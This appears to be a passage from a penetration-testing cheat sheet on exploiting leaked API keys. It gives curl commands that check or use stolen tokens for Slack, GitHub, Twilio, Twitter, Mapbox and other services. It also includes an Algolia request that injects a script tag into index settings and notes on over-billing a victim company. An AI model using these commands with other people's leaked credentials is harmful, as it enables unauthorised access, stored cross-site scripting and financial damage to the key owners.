**Impact**:

* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account


### Algolia 

```powershell
curl --request PUT \
  --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
  --header 'content-type: application/json' \
  --header 'x-algolia-api-key: <example-key>' \
  --header 'x-algolia-application-id: <example-application-id>' \
  --data '{"highlightPreTag": "<script>alert(1);</script>"}'
```


### Slack API Token

```powershell
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
```


### Facebook Access Token

```powershell
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
```


### Github client id and client secret

```powershell
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
```


### Twilio Account_sid and Auth token

```powershell
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
```


### Twitter API Secret

```powershell
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
```


### Twitter Bearer Token

```powershell
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
```


### Gitlab Personal Access Token

curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
```


### HockeyApp API Token

```powershell
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
```


### Mapbox API Token

A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.

* Check token validity: 
    ```ps1
    curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
    ```
    
* Get list of all tokens associated with an account (only works if the token is a Secret Token (sk), and has the appropriate scope)
    ```ps1
    curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
    ```
